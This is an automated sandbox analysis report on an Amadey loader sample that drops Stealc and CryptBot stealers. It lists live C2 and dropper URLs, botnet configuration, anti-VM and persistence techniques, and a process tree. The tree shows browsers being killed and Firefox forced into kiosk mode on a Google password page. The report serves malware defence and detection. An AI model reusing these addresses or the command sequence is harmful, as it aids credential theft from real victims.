amadey | 866c5b1e9d1b60bc822741681f6eae8e2361e63d42a17bf44add2229044c52d8

Analysis

max time kernel
151s
max time network
159s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
08-02-2025 19:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

random.exe
Size

2.1MB
MD5

c5ccf77334a5d9892b1797a235e97ae5
SHA1

46d8b41e42c60970d61829a4decd62e1f0209e09
SHA256

866c5b1e9d1b60bc822741681f6eae8e2361e63d42a17bf44add2229044c52d8
SHA512

33644a064a95b6e529203d887418bf19ed47a47b5a80e4f8b18e72f0155aa3c5c5b64c3af3683024d63f2c173a1952262e67ccd605f601858e390b716b0c3311
SSDEEP

49152:AA6wXD5xlFVNNllCt4ZSYKW2EDw0Uqt6bL0W5E0c400J:H6wz5xTNllCt4aTSVU4W5E0T

Score

10^/10

amadey cryptbot stealc 9c9aa5 reno bootkit defense_evasion discovery execution persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

stealc

Botnet

reno

http://185.215.113.115

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

cryptbot

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
spyware stealer cryptbot
Cryptbot family
cryptbot

Detects CryptBot payload 1 IoCs

CryptBot is a C++ stealer distributed widely in bundle with other software.

spyware stealer

resource	yara_rule
behavioral1/memory/2856-474-0x0000000069CC0000-0x000000006A71B000-memory.dmp	family_cryptbot_v3

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	104dbf09ba.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	HUVE3P1DGDXL94F7TI9YI1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	104dbf09ba.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	12bc7cdf9c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	81083605bd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	536d226d58.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
107	1588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1588	powershell.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
14	2252	81083605bd.exe
103	2788	skotes.exe
107	1588	powershell.exe
5	2788	skotes.exe
5	2788	skotes.exe
5	2788	skotes.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	81083605bd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	536d226d58.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	104dbf09ba.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	104dbf09ba.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	536d226d58.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	HUVE3P1DGDXL94F7TI9YI1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	HUVE3P1DGDXL94F7TI9YI1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	12bc7cdf9c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	12bc7cdf9c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	81083605bd.exe

Executes dropped EXE 10 IoCs

pid	Process
2788	skotes.exe
2252	81083605bd.exe
2144	536d226d58.exe
2076	a934a83000.exe
1504	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
2600	2ea95f6e68.exe
2784	HUVE3P1DGDXL94F7TI9YI1.exe
2000	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
2856	104dbf09ba.exe
2536	12bc7cdf9c.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	81083605bd.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	HUVE3P1DGDXL94F7TI9YI1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	12bc7cdf9c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	536d226d58.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	104dbf09ba.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	skotes.exe

Loads dropped DLL 18 IoCs

pid	Process
3016	random.exe
3016	random.exe
2788	skotes.exe
2788	skotes.exe
2788	skotes.exe
2788	skotes.exe
2788	skotes.exe
2252	81083605bd.exe
2252	81083605bd.exe
2788	skotes.exe
2252	81083605bd.exe
2252	81083605bd.exe
1588	powershell.exe
1588	powershell.exe
2788	skotes.exe
2788	skotes.exe
2788	skotes.exe
2788	skotes.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\81083605bd.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1071552001\\81083605bd.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\536d226d58.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1071553001\\536d226d58.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\a934a83000.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1071554001\\a934a83000.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\2ea95f6e68.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1071555001\\2ea95f6e68.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	12bc7cdf9c.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00050000000197fd-92.dat	autoit_exe
behavioral1/files/0x0005000000019bf5-230.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
3016	random.exe
2788	skotes.exe
2252	81083605bd.exe
2144	536d226d58.exe
1504	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
2784	HUVE3P1DGDXL94F7TI9YI1.exe
2000	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
2856	104dbf09ba.exe
2536	12bc7cdf9c.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	random.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	a934a83000.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	104dbf09ba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	81083605bd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	536d226d58.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	a934a83000.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2ea95f6e68.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a934a83000.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
944	taskkill.exe
2556	taskkill.exe
2372	taskkill.exe
2052	taskkill.exe
2920	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1196	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3016	random.exe
2788	skotes.exe
2252	81083605bd.exe
2252	81083605bd.exe
2252	81083605bd.exe
2252	81083605bd.exe
2252	81083605bd.exe
2144	536d226d58.exe
2076	a934a83000.exe
1504	8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
2076	a934a83000.exe
1588	powershell.exe
2784	HUVE3P1DGDXL94F7TI9YI1.exe
1588	powershell.exe
1588	powershell.exe
2000	Temp22OSXIHXONVNUSYPGMNSAWR0MHIAKYGE.EXE
2856	104dbf09ba.exe
2856	104dbf09ba.exe
2856	104dbf09ba.exe
2856	104dbf09ba.exe
2856	104dbf09ba.exe
2856	104dbf09ba.exe
2536	12bc7cdf9c.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	944	taskkill.exe
Token: SeDebugPrivilege	2556	taskkill.exe
Token: SeDebugPrivilege	2372	taskkill.exe
Token: SeDebugPrivilege	2052	taskkill.exe
Token: SeDebugPrivilege	2920	taskkill.exe
Token: SeDebugPrivilege	984	firefox.exe
Token: SeDebugPrivilege	984	firefox.exe
Token: SeDebugPrivilege	1588	powershell.exe

Suspicious use of FindShellTrayWindow 22 IoCs

pid	Process
3016	random.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
984	firefox.exe
984	firefox.exe
984	firefox.exe
984	firefox.exe
2076	a934a83000.exe
2076	a934a83000.exe
2600	2ea95f6e68.exe
2600	2ea95f6e68.exe
2600	2ea95f6e68.exe

Suspicious use of SendNotifyMessage 20 IoCs

pid	Process
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
2076	a934a83000.exe
984	firefox.exe
984	firefox.exe
984	firefox.exe
2076	a934a83000.exe
2076	a934a83000.exe
2600	2ea95f6e68.exe
2600	2ea95f6e68.exe
2600	2ea95f6e68.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 2788	3016	random.exe	29
PID 3016 wrote to memory of 2788	3016	random.exe	29
PID 3016 wrote to memory of 2788	3016	random.exe	29
PID 3016 wrote to memory of 2788	3016	random.exe	29
PID 2788 wrote to memory of 2252	2788	skotes.exe	31
PID 2788 wrote to memory of 2252	2788	skotes.exe	31
PID 2788 wrote to memory of 2252	2788	skotes.exe	31
PID 2788 wrote to memory of 2252	2788	skotes.exe	31
PID 2788 wrote to memory of 2144	2788	skotes.exe	33
PID 2788 wrote to memory of 2144	2788	skotes.exe	33
PID 2788 wrote to memory of 2144	2788	skotes.exe	33
PID 2788 wrote to memory of 2144	2788	skotes.exe	33
PID 2788 wrote to memory of 2076	2788	skotes.exe	34
PID 2788 wrote to memory of 2076	2788	skotes.exe	34
PID 2788 wrote to memory of 2076	2788	skotes.exe	34
PID 2788 wrote to memory of 2076	2788	skotes.exe	34
PID 2076 wrote to memory of 944	2076	a934a83000.exe	35
PID 2076 wrote to memory of 944	2076	a934a83000.exe	35
PID 2076 wrote to memory of 944	2076	a934a83000.exe	35
PID 2076 wrote to memory of 944	2076	a934a83000.exe	35
PID 2252 wrote to memory of 1504	2252	81083605bd.exe	37
PID 2252 wrote to memory of 1504	2252	81083605bd.exe	37
PID 2252 wrote to memory of 1504	2252	81083605bd.exe	37
PID 2252 wrote to memory of 1504	2252	81083605bd.exe	37
PID 2076 wrote to memory of 2556	2076	a934a83000.exe	38
PID 2076 wrote to memory of 2556	2076	a934a83000.exe	38
PID 2076 wrote to memory of 2556	2076	a934a83000.exe	38
PID 2076 wrote to memory of 2556	2076	a934a83000.exe	38
PID 2076 wrote to memory of 2372	2076	a934a83000.exe	40
PID 2076 wrote to memory of 2372	2076	a934a83000.exe	40
PID 2076 wrote to memory of 2372	2076	a934a83000.exe	40
PID 2076 wrote to memory of 2372	2076	a934a83000.exe	40
PID 2076 wrote to memory of 2052	2076	a934a83000.exe	42
PID 2076 wrote to memory of 2052	2076	a934a83000.exe	42
PID 2076 wrote to memory of 2052	2076	a934a83000.exe	42
PID 2076 wrote to memory of 2052	2076	a934a83000.exe	42
PID 2076 wrote to memory of 2920	2076	a934a83000.exe	44
PID 2076 wrote to memory of 2920	2076	a934a83000.exe	44
PID 2076 wrote to memory of 2920	2076	a934a83000.exe	44
PID 2076 wrote to memory of 2920	2076	a934a83000.exe	44
PID 2076 wrote to memory of 1288	2076	a934a83000.exe	46
PID 2076 wrote to memory of 1288	2076	a934a83000.exe	46
PID 2076 wrote to memory of 1288	2076	a934a83000.exe	46
PID 2076 wrote to memory of 1288	2076	a934a83000.exe	46
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 1288 wrote to memory of 984	1288	firefox.exe	47
PID 984 wrote to memory of 316	984	firefox.exe	48
PID 984 wrote to memory of 316	984	firefox.exe	48
PID 984 wrote to memory of 316	984	firefox.exe	48
PID 984 wrote to memory of 1964	984	firefox.exe	49
PID 984 wrote to memory of 1964	984	firefox.exe	49
PID 984 wrote to memory of 1964	984	firefox.exe	49
PID 984 wrote to memory of 1964	984	firefox.exe	49
PID 984 wrote to memory of 1964	984	firefox.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Users\Admin\AppData\Local\Temp\1071552001\81083605bd.exe
    "C:\Users\Admin\AppData\Local\Temp\1071552001\81083605bd.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Users\Admin\AppData\Local\Temp\8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe
      "C:\Users\Admin\AppData\Local\Temp\8CDQEZZ3PU0O7DZIVCVPZWWUMFJR4FG.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1504
  - - C:\Users\Admin\AppData\Local\Temp\HUVE3P1DGDXL94F7TI9YI1.exe
      "C:\Users\Admin\AppData\Local\Temp\HUVE3P1DGDXL94F7TI9YI1.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:2784
- - C:\Users\Admin\AppData\Local\Temp\1071553001\536d226d58.exe
    "C:\Users\Admin\AppData\Local\Temp\1071553001\536d226d58.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2144
- - C:\Users\Admin\AppData\Local\Temp\1071554001\a934a83000.exe
    "C:\Users\Admin\AppData\Local\Temp\1071554001\a934a83000.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:944
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2556
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2372
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2052
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2920
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1288
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:984
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.0.1331394313\847882391" -parentBuildID 20221007134813 -prefsHandle 1248 -prefMapHandle 1240 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {af451fdb-8bbf-4b09-96a8-70f406ae8bb2} 984 "\\.\pipe\gecko-crash-server-pipe.984" 1312 10cda758 gpu
        6⤵
        
        PID:316
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.1.725240524\2053997984" -parentBuildID 20221007134813 -prefsHandle 1516 -prefMapHandle 1512 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5bc75b01-84d9-427b-aeee-28c12a8f0457} 984 "\\.\pipe\gecko-crash-server-pipe.984" 1528 e72158 socket
        6⤵
        
        PID:1964
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.2.892998825\740027824" -childID 1 -isForBrowser -prefsHandle 2124 -prefMapHandle 2120 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c60a024-6ccd-4aed-ad00-d57dbf0f0240} 984 "\\.\pipe\gecko-crash-server-pipe.984" 2136 1a8c1058 tab
        6⤵
        
        PID:2196
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.3.647232494\997767124" -childID 2 -isForBrowser -prefsHandle 2924 -prefMapHandle 2920 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {51079efb-c5a1-4a74-86d2-6957c63282b5} 984 "\\.\pipe\gecko-crash-server-pipe.984" 2936 1b610858 tab
        6⤵
        
        PID:2300
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="984.4.1914688526\191546865" -childID 3 -isForBrowser -prefsHandle 3864 -prefMapHandle 3860 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8b1db3b5-8a39-453d-83da-1b0672633da0} 984 "\\.\pipe\gecko-crash-server-pipe.984" 3880 204f1258 tab
        6⤵
        
        PID:2836
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
